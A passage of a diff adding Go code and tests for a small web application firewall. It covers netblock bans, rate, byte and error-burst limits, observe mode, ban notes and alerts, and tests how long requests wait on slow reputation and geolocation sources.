+			prepare: leaveAsItIs, status: tooLarge, action: requestlog.ActionTooLarge,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
+			// says, so that a request that does not wait takes no time at all.
+			synctest.Test(t, func(t *testing.T) {
+				server, out := newServeWAFInBubble(t, tc.env)
+				tc.prepare(t, server, time.Now())
+
+				status, took := askDirectly(t, server, func(req *http.Request) {
+					req.Header.Set(cookieHeader, tc.cookie)
+				})
+
+				if status != tc.status || took != 0 {
+					t.Errorf("answered %d after %s, want %d at once; output:\n%s",
+						status, took, tc.status, out.text())
+				}
+
+				wantLine(t, out.requestLine(t), tc.status, tc.action)
+
+				// GeoJS's request is abandoned before the bubble ends.
+				time.Sleep(defaultLookupWait)
+			})
+		})
+	}
+}
+
+func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// prepare gets the server ready, at now, before the question.
+		prepare func(t *testing.T, server *servewaf.Server, now time.Time)
+		status  int
+		action  string
+	}{
+		{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
+		{
+			"a country list needs the answer", map[string]string{allowedCountries: "DE"},
+			leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
+		},
+		{
+			"a blocklist that only logs",
+			map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
+			listClient, http.StatusOK, requestlog.ActionForward,
+		},
+		{
+			"a blocklist that only limits",
+			map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
+			listClient, http.StatusOK, requestlog.ActionForward,
+		},
+		{
+			"over a rate limit on an exempt path",
+			map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
+			countClient, http.StatusOK, requestlog.ActionForward,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			synctest.Test(t, func(t *testing.T) {
+				server, out := newServeWAFInBubble(t, tc.env)
+				tc.prepare(t, server, time.Now())
+
+				status, took := askDirectly(t, server, func(*http.Request) {})
+
+				if status != tc.status || took != defaultLookupWait {
+					t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
+						status, took, tc.status, defaultLookupWait, out.text())
+				}
+
+				wantLine(t, out.requestLine(t), tc.status, tc.action)
+			})
+		})
+	}
+}
+
+func TestServeWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(t *testing.T) {
+	t.Parallel()
+
+	held, askedGeoJS, _ := startHeldGeoJS(t)
+
+	// A resolver that takes every query and answers none.
+	resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	t.Cleanup(func() { _ = resolver.Close() })
+
+	server, out, _ := newServeWAFWith(t, func(params servewaf.Params) *servewaf.Server {
+		params.AbuseIPDBURL = silentAbuseIPDBURL
+
+		return servewaf.New(params)
+	}, held, time.Now, map[string]string{
+		deniedCountries: "KP", wafMode: block,
+		dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
+		abuseIPDBKey:  accountKey,
+		blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
+		crowdSecURL: held, crowdSecKey: bouncerKey,
+	})
+
+	// AbuseIPDB is asked only about a client with an offence.
+	group := netip.MustParsePrefix(client + "/32")
+	server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
+
+	go server.Lists.Run(t.Context())
+
+	status, took := askDirectly(t, server, func(req *http.Request) {
+		req.Header.Set("User-Agent", "test")
+		req.Header.Set("Accept", "*/*")
+		req.Host = siteA
+	})
+
+	if status != http.StatusOK || took >= answerTimeLimit {
+		t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
+			status, took, http.StatusOK, answerTimeLimit, out.text())
+	}
+
+	// Each outside source was asked, and none has answered. The stand-in for
+	// GeoJS is the lists' too, which name no address.
+	if !slices.Contains(askedGeoJS(), client) {
+		t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
+	}
+
+	if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
+		t.Errorf("%d queries to the DNS blocklist, want 1", queries)
+	}
+
+	if checked := server.AbuseIPDB.Checked(); checked != 1 {
+		t.Errorf("%d checks with AbuseIPDB, want 1", checked)
+	}
+}

internal/servewaf/bans.go

@@ -0,0 +1,365 @@
+package servewaf
+
+import (
+	"net/http"
+	"net/netip"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
+// with action.
+func (rq *request) banResponse(action string) *refusal {
+	return &refusal{status: rq.h.config.BanResponse, action: action}
+}
+
+// banned reports whether a ban on a netblock the client is in covers the
+// request at now, and notes for the log line when that ban ends. A
+// request that makes the ban permanent, or in observe mode would have,
+// raises the alert for it.
+func (rq *request) banned(now time.Time) bool {
+	check := rq.h.ledger.Check
+	if rq.h.config.Observe {
+		check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
+	}
+
+	ban, banned, madePermanent := check(rq.client, now)
+	if banned {
+		rq.line.BanExpires = banExpires(ban)
+	}
+
+	if madePermanent {
+		ban.Expires = time.Time{} // the ban made permanent, which Find leaves as it is
+		rq.alertBan(ban)
+	}
+
+	return banned
+}
+
+// limitBroken counts the request for the rate limits at now, notes the
+// client's counts for the log line, and reports whether the request takes
+// the client over a rate limit, as its limit percentage lowers it, which
+// breaks it.
+func (rq *request) limitBroken(now time.Time) bool {
+	counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
+		rq.limitPercent.percent)
+	rq.line.Counts = counts
+
+	if over {
+		rq.banForLimit(now, hit, rq.h.config.BanResponse)
+	}
+
+	return over
+}
+
+// countBytes counts the request's bytes, as countedBytes gives them, for
+// the byte limits, once its report has come, and notes the client's byte totals
+// for the log line; its requests stay there as the rate limits counted them.
+// Only an allowed request has them counted, and only one the rate limits
+// counted; in observe mode, not one that enforce mode would have refused. Bytes
+// that take the client over a byte limit, as its limit percentage for the byte
+// limits lowers it, break it; the response was passed on whole.
+func (rq *request) countBytes() {
+	if !rq.counted || rq.line.WouldAction != "" {
+		return
+	}
+
+	now := rq.h.now()
+
+	counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
+		rq.countedBytes(), rq.bytesPercent.percent)
+	rq.line.Counts.MinuteBytes = counts.MinuteBytes
+	rq.line.Counts.HourBytes = counts.HourBytes
+	rq.line.Counts.DayBytes = counts.DayBytes
+
+	if over {
+		rq.banForLimit(now, hit, rq.out.status)
+	}
+}
+
+// countRefusal counts the request for the error burst once it has been
+// answered, if servewaf refused it after a rule file match, a trap path or a
+// Core Rule Set match, and in observe mode if enforce mode would have: more than
+// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
+// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
+// not counted, and nothing is while the threshold is off.
+func (rq *request) countRefusal() {
+	cfg := rq.h.config
+	if cfg.ErrorBurstThreshold == 0 {
+		return
+	}
+
+	if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked {
+		return
+	}
+
+	now := rq.h.now()
+
+	hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
+		cfg.ErrorBurstThreshold)
+	if !over {
+		return
+	}
+
+	// What the client was sent, or in observe mode would have been.
+	status := rq.out.status
+
+	switch rq.line.WouldAction {
+	case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
+		status = http.StatusForbidden
+	case requestlog.ActionBanned:
+		status = cfg.BanResponse
+	}
+
+	rq.banForLimit(now, hit, status)
+}
+
+// countedBytes returns the request's bytes, once it has ended, as the
+// byte limits and the anomaly thresholds count them: the response's body
+// bytes, the request's, or both, as SWWAF_BYTES_COUNT says.
+func (rq *request) countedBytes() int64 {
+	response, request := rq.out.bytes, rq.requestBytes
+
+	switch rq.h.config.BytesCount {
+	case "response":
+		return response
+	case "request":
+		return request
+	default: // both
+		return response + request
+	}
+}
+
+// banForLimit bans the client's netblock at now for a broken limit, the
+// one hit names, notes the offence for the log line and counts the hit in
+// the metrics. status is what the client was sent, or is sent:
+// SWWAF_BAN_RESPONSE for a request over a rate limit, what the report says for
+// one whose bytes broke a byte limit, the refusal for one that broke the
+// error burst. The ban's notes give the client's limit percentage for a
+// rate limit or a byte limit; the error burst is not lowered. The ban sets
+// the client's counters back to zero. In observe mode it makes no ban and
+// sets nothing back, and raises the alert for the ban it would have made,
+// if that alert would be sent.
+func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
+	switch hit.Kind {
+	case ratelimit.KindBytes:
+		rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
+	case ratelimit.KindRefusals:
+		rq.line.LimitHit = requestlog.LimitHitErrorBurst
+	default:
+		rq.line.LimitHit = hit.Window
+	}
+
+	rq.line.Offence = requestlog.OffenceLimit
+	rq.h.metrics.LimitHit(hit)
+
+	netblock := rq.h.netblock(rq.client)
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
+		return
+	}
+
+	notes := bans.Notes{
+		ASN:        rq.line.ASN,
+		ASName:     rq.line.ASName,
+		Country:    rq.line.Country,
+		Kind:       hit.Kind,
+		Limit:      hit.Limit,
+		Window:     hit.Window,
+		Count:      hit.Count,
+		Reputation: rq.reputation,
+		Request:    rq.noted(now, status),
+		Requests:   rq.netblockRequests(netblock),
+	}
+
+	switch hit.Kind {
+	case ratelimit.KindRequests:
+		notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
+	case ratelimit.KindBytes:
+		notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
+	}
+
+	if rq.h.config.Observe {
+		ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
+		if wouldBan {
+			rq.alertBan(ban)
+		}
+
+		return
+	}
+
+	ban, made := rq.h.ledger.BanForLimit(netblock, now, notes)
+	rq.h.limiter.Reset(rq.h.clientGroup(rq.client))
+	rq.line.BanExpires = banExpires(ban)
+
+	if made {
+		rq.alertBan(ban)
+	}
+}
+
+// banForAttack bans the client's netblock at now for a clear sign of
+// attack, which notes name: the ban rule that matched, or the trap path
+// asked for. It fills in the rest of the notes. In observe mode it makes
+// no ban, and raises the alert for the ban it would have made, if that
+// alert would be sent.
+func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
+	netblock := rq.h.netblock(rq.client)
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
+		return
+	}
+
+	notes.ASN = rq.line.ASN
+	notes.ASName = rq.line.ASName
+	notes.Country = rq.line.Country
+	notes.Reputation = rq.reputation
+	notes.Request = rq.noted(now, rq.h.config.BanResponse)
+	notes.Requests = rq.netblockRequests(netblock)
+
+	if rq.h.config.Observe {
+		ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
+		if wouldBan {
+			rq.alertBan(ban)
+		}
+
+		return
+	}
+
+	ban, made := rq.h.ledger.BanForAttack(netblock, now, notes)
+	rq.line.BanExpires = banExpires(ban)
+
+	if made {
+		rq.alertBan(ban)
+	}
+}
+
+// banForCrowdSec bans the client's netblock at now until decision,
+// CrowdSec's decision on the client, ends. In observe mode it makes no
+// ban, and raises the alert for the ban it would have made, if that alert
+// would be sent.
+func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
+	netblock := rq.h.netblock(rq.client)
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
+		return
+	}
+
+	notes := bans.Notes{
+		ASN:        rq.line.ASN,
+		ASName:     rq.line.ASName,
+		Country:    rq.line.Country,
+		Reputation: rq.reputation,
+		Request:    rq.noted(now, rq.h.config.BanResponse),
+		Requests:   rq.netblockRequests(netblock),
+	}
+
+	if rq.h.config.Observe {
+		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
+			decision.Scenario, notes)
+		if wouldBan {
+			rq.alertBan(ban)
+		}
+
+		return
+	}
+
+	ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
+		decision.Scenario, notes)
+	rq.line.BanExpires = banExpires(ban)
+
+	if made {
+		rq.alertBan(ban)
+	}
+}
+
+// wouldAlertBan reports whether the alert for a ban on netblock for cause
+// made at now would be sent. In observe mode the ban the request would
+// have made is worked out only then, at most once per
+// SWWAF_ALERT_COOLDOWN and never with no webhook set: its notes count the
+// netblock's requests, which can mean going through every client.
+func (rq *request) wouldAlertBan(
+	netblock netip.Prefix, now time.Time, cause string,
+) bool {
+	event := alerts.EventBan
+	if rq.h.ledger.WouldBePermanent(netblock, now, cause) {
+		event = alerts.EventPermanentBan
+	}
+
+	return rq.h.alerts.WouldSend(event, netblock)
+}
+
+// alertBan raises the alert for ban, which the request made, or made
+// permanent: permanent_ban for a permanent ban, ban for another. Its
+// detail gives the ban's cause, when it ends, and its notes, and in
+// observe mode, where ban is the ban that would have been made, or made
+// permanent, mode, observe.
+func (rq *request) alertBan(ban bans.Ban) {
+	event := alerts.EventBan
+	if ban.Permanent() {
+		event = alerts.EventPermanentBan
+	}
+
+	detail := map[string]any{
+		"cause": ban.Cause, "ban_expires": banExpires(ban), "notes": ban.Notes,
+	}
+	if rq.h.config.Observe {
+		detail["mode"] = "observe"
+	}
+
+	rq.h.alerts.Raise(alerts.Alert{
+		Event:    event,
+		Host:     rq.site,
+		Client:   rq.client,
+		Netblock: ban.Netblock,
+		ASN:      ban.Notes.ASN,
+		ASName:   ban.Notes.ASName,
+		Country:  ban.Notes.Country,
+		Reason:   ban.Reason,
+		Detail:   detail,
+	})
+}
+
+// noted is the request, at now, with status, what the client was sent, or
+// in observe mode would have been, as the notes of the ban it makes keep
+// it.
+func (rq *request) noted(now time.Time, status int) bans.Request {
+	return bans.Request{
+		Time:      now,
+		Method:    rq.line.Method,
+		Host:      rq.line.Host,
+		Path:      rq.requestURI,
+		Status:    status,
+		UserAgent: rq.line.UserAgent,
+	}
+}
+
+// netblockRequests is how many requests netblock has sent since it was
+// first seen, this one included: the histories count it only once it has
+// ended.
+func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
+	return rq.h.limiter.Requests(netblock) + 1
+}
+
+// netblock is the netblock a ban on client covers: its IPv4 address,
+// widened to SWWAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
+// counts it in.
+func (h *handler) netblock(client netip.Addr) netip.Prefix {
+	addr := client.Unmap()
+	if addr.Is4() {
+		return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
+	}
+
+	return h.clientGroup(addr)
+}
+
+// banExpires is when ban ends, as the log line gives it: a time, or
+// permanent.
+func banExpires(ban bans.Ban) string {
+	if ban.Permanent() {
+		return permanent
+	}
+
+	return requestlog.FormatTime(ban.Expires)
+}

internal/servewaf/bans_test.go

@@ -0,0 +1,489 @@
+package servewaf_test
+
+import (
+	"bufio"
+	"errors"
+	"io"
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"slices"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+const (
+	// otherClient is a client next to client.
+	otherClient = "203.0.113.10"
+	// userAgent is the user agent of every request a sender sends.
+	userAgent = "ban-test/1.0"
+	// permanent is the log line's ban_expires for a permanent ban.
+	permanent = "permanent"
+	// banResponseClose is the SWWAF_BAN_RESPONSE that closes the connection.
+	banResponseClose = "close"
+)
+
+func TestBrokenLimitBansTheClient(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
+	expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
+
+	// The request over the limit of one a minute is refused, and bans the
+	// client for an hour, the default.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	line := s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+	if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
+		line.BanExpires != expires {
+		t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+			"want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
+			expires)
+	}
+
+	// Every request while the ban lasts is refused.
+	clk.advance(time.Hour - time.Second)
+
+	line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
+		t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
+			"want %s and neither of the others", line.BanExpires, line.Offence,
+			line.LimitHit, expires)
+	}
+
+	// Once it ends, the client is let through.
+	clk.advance(time.Second)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+}
+
+func TestBanLengthsFollowTheSettings(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		rateLimitPerMinute:   "1",
+		limitBanDuration:     "10m",
+		limitBanRepeatWindow: "1h",
+		maxBanDuration:       "1h",
+	})
+
+	// breakLimit has client go over the limit of one a minute, and
+	// returns when the ban that makes ends.
+	breakLimit := func() string {
+		s.get(client, http.StatusOK, requestlog.ActionForward)
+
+		return s.get(client, http.StatusForbidden, requestlog.ActionRateLimited).BanExpires
+	}
+	wantExpires := func(got string, length time.Duration) {
+		t.Helper()
+
+		want := requestlog.FormatTime(clk.Now().Add(length))
+		if got != want {
+			t.Errorf("ban ends at %s, want %s", got, want)
+		}
+	}
+
+	// A first ban lasts SWWAF_LIMIT_BAN_DURATION; one within
+	// SWWAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
+	wantExpires(breakLimit(), 10*time.Minute)
+	clk.advance(10*time.Minute + time.Hour)
+	wantExpires(breakLimit(), 30*time.Minute)
+
+	// Later than that, SWWAF_LIMIT_BAN_DURATION again.
+	clk.advance(30*time.Minute + time.Hour + time.Second)
+	wantExpires(breakLimit(), 10*time.Minute)
+	clk.advance(10 * time.Minute)
+	wantExpires(breakLimit(), 30*time.Minute)
+
+	// 90 minutes would be longer than SWWAF_MAX_BAN_DURATION: the ban is
+	// permanent.
+	clk.advance(30 * time.Minute)
+
+	got := breakLimit()
+	if got != permanent {
+		t.Errorf("ban ends at %s, want a permanent one", got)
+	}
+
+	clk.advance(365 * 24 * time.Hour)
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
+
+	// The third request in a day is over the limit of two, and bans the
+	// client for an hour.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	for range 3 {
+		s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	}
+
+	// Later the same day the client has its whole allowance again: the
+	// ban set its counters back to zero, and the requests it refused were
+	// not counted for the rate limits, only in its notes.
+	clk.advance(time.Hour)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(banned) != 2 || banned[0].Notes.Refused != 3 {
+		t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
+	}
+}
+
+func TestBanCoversTheClientsNetblock(t *testing.T) {
+	t.Parallel()
+
+	// In the IPv4 cases, client breaks the limit; these two are next to it.
+	const (
+		allowed = "203.0.113.60" // in SWWAF_ALLOW_NETS
+		exempt  = "203.0.113.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+	)
+
+	for _, tc := range []struct {
+		name    string
+		env     map[string]string
+		breaker string // the client that breaks the limit
+		refused []string
+		let     []string // let through
+	}{
+		{
+			"an IPv4 address, by default", nil, client,
+			nil, []string{otherClient, exempt},
+		},
+		{
+			"the IPv4 netblock SWWAF_BAN_SCOPE_V4_PREFIX sets",
+			map[string]string{banScopeV4Prefix: "24"}, client,
+			[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
+		},
+		{
+			"an IPv6 /64, by default", nil, "2001:db8:5::1",
+			[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
+		},
+		{
+			"the IPv6 netblock SWWAF_IPV6_GROUP_PREFIX sets",
+			map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
+			[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{
+				rateLimitPerMinute:  "1",
+				allowNets:           allowed,
+				rateLimitExemptNets: exempt,
+			}
+			maps.Copy(env, tc.env)
+			s, _, _ := startWithClock(t, "", env)
+
+			s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
+			s.get(tc.breaker, http.StatusForbidden, requestlog.ActionRateLimited)
+
+			for _, sent := range tc.refused {
+				s.get(sent, http.StatusForbidden, requestlog.ActionBanned)
+			}
+
+			for _, sent := range tc.let {
+				s.get(sent, http.StatusOK, requestlog.ActionForward)
+			}
+		})
+	}
+}
+
+func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, asked := startGeoJS(t)
+	s, _, _ := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
+		rateLimitPerMinute: "1",
+		banScopeV4Prefix:   "24",
+		deniedCountries:    "kp",
+	})
+
+	// fromDE's ban covers otherClient, which is refused unasked about.
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	line := s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned)
+	if line.Country != "" {
+		t.Errorf("log line has country %q, want none", line.Country)
+	}
+
+	if !slices.Equal(asked(), []string{fromDE}) {
+		t.Errorf("GeoJS was asked about %v, want %s alone", asked(), fromDE)
+	}
+}
+
+func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
+	t.Parallel()
+
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
+
+	for _, tc := range []struct {
+		setting string // "" leaves SWWAF_BAN_RESPONSE at its default
+		status  int    // 0 is the connection closed without an answer
+	}{
+		{"", http.StatusForbidden},
+		{"403", http.StatusForbidden},
+		{"429", http.StatusTooManyRequests},
+		{banResponseClose, 0},
+	} {
+		t.Run(banResponse+"="+tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			geojsURL, _ := startGeoJS(t)
+			env := map[string]string{
+				lookupTimeout:      "1h",
+				rateLimitPerMinute: "1",
+				denyNets:           denied,
+				deniedCountries:    "kp",
+			}
+
+			if tc.setting != "" {
+				env[banResponse] = tc.setting
+			}
+
+			s, _, _ := startWithClock(t, geojsURL, env)
+
+			s.get(denied, tc.status, requestlog.ActionDenied)
+			s.get(fromKP, tc.status, requestlog.ActionCountryDenied)
+			s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+			s.get(fromDE, tc.status, requestlog.ActionRateLimited)
+			s.get(fromDE, tc.status, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestBanNotes(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
+		rateLimitPerMinute: "1",
+		deniedCountries:    "kp",
+	})
+	start := clk.Now()
+
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.request(fromDE, "/repo/commits?page=2",
+		http.StatusForbidden, requestlog.ActionRateLimited)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
+
+	netblock := netip.MustParsePrefix(fromDE + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  start.Add(time.Hour),
+		Cause:    bans.CauseLimit,
+		Reason:   "requests per minute over the limit of 1",
+		Notes: bans.Notes{
+			ASN:     asnDE,
+			ASName:  asNameDE,
+			Country: "DE",
+			Kind:    "requests",
+			Limit:   1,
+			Window:  minute,
+			Count:   2,
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodGet,
+				Host:      appHost,
+				Path:      "/repo/commits?page=2",
+				Status:    http.StatusForbidden,
+				UserAgent: userAgent,
+			},
+			// The one let through, the one that broke the limit and the two
+			// refused under the ban.
+			Requests:    4,
+			Refused:     2,
+			EarlierBans: bans.EarlierBans{},
+		},
+	}
+
+	ledger := server.Ledger
+
+	got := ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	// The next ban counts this one among the earlier.
+	clk.advance(time.Hour)
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	got = ledger.Bans(netblock)
+	if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
+		t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
+	}
+}
+
+func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		rateLimitPerMinute: "1",
+		maxBans:            "1",
+	})
+
+	// One ban is held, so otherClient's ban drops client's.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
+	s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+// clock is the time a test sets, by which smallwebwaf counts requests and
+// makes bans.
+type clock struct {
+	mu  sync.Mutex
+	now time.Time
+}
+
+// Now tells the time.
+func (c *clock) Now() time.Time {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	return c.now
+}
+
+// advance moves the clock on by d.
+func (c *clock) advance(d time.Duration) {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	c.now = c.now.Add(d)
+}
+
+// startWithClock starts servewaf, and rproxy in front of an app that answers 200,
+// with the settings in env on top of trusting localhost's
+// X-Forwarded-For, clients' AS numbers and countries looked up at
+// geojsURL, and a clock set to midnight, the start of a bucket in every
+// window.
+func startWithClock(
+	t *testing.T, geojsURL string, env map[string]string,
+) (*sender, *clock, *servewaf.Server) {
+	t.Helper()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
+	settings := map[string]string{trustedProxies: trustLocalhost}
+	maps.Copy(settings, env)
+
+	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
+
+	return &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}, clk, server
+}
+
+// sender sends requests to rproxy one after another, each on a connection of its
+// own, and checks each one's answer and log line. serveWAFAddr is where servewaf's
+// own endpoints are, which adminRequest asks. Every request servewaf gets must
+// come through the sender, since the log lines are matched to them in order.
+type sender struct {
+	t            *testing.T
+	addr         string
+	serveWAFAddr string
+	out          *output
+	sent         int
+}
+
+// get sends a GET request for / from the client at from.
+func (s *sender) get(from string, status int, action string) logLine {
+	s.t.Helper()
+
+	return s.request(from, "/", status, action)
+}
+
+// request sends a GET request for path from the client at from, as
+// X-Forwarded-For names it, and checks that its answer and its log line
+// have status, 0 for the connection closed without an answer, and that
+// the line has action. It returns the log line.
+func (s *sender) request(from, path string, status int, action string) logLine {
+	s.t.Helper()
+
+	return s.requestWithHeader(from, path, "", status, action)
+}
+
+// requestWithHeader is request with header, such as "Authorization:
+// Bearer x", added to the request unless it is "".
+func (s *sender) requestWithHeader(
+	from, path, header string, status int, action string,
+) logLine {
+	s.t.Helper()
+
+	line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
+
+	return line
+}
+
+// requestWithBody is requestWithHeader for a request with method, whose
+// body is sent as it is after the headers, header holding its
+// Content-Length or Transfer-Encoding. header may hold several lines,
+// separated by "\r\n". It returns the whole answer.
+func (s *sender) requestWithBody(
+	method, from, path, header, body string, status int, action string,
+) (logLine, answer) {
+	s.t.Helper()
+
+	if header != "" {
+		header += "\r\n"
+	}
+
+	// rproxy refuses a request with more than one.
+	if !strings.Contains(header, "User-Agent:") {
+		header += "User-Agent: " + userAgent + "\r\n"
+	}
+
+	conn := dial(s.t, s.addr)
+	send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+"\r\n"+
+		forwardedFor+": "+from+"\r\n"+header+"\r\n"+body)
+
+	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
+	if err != nil {
+		s.t.Fatalf("set read deadline: %v", err)
+	}
+
+	var got answer
+
+	res, err := http.ReadResponse(bufio.NewReader(conn), nil)
+
+	switch {
+	case err == nil:
+		got = readAnswer(res)
+	case !errors.Is(err, io.ErrUnexpectedEOF):
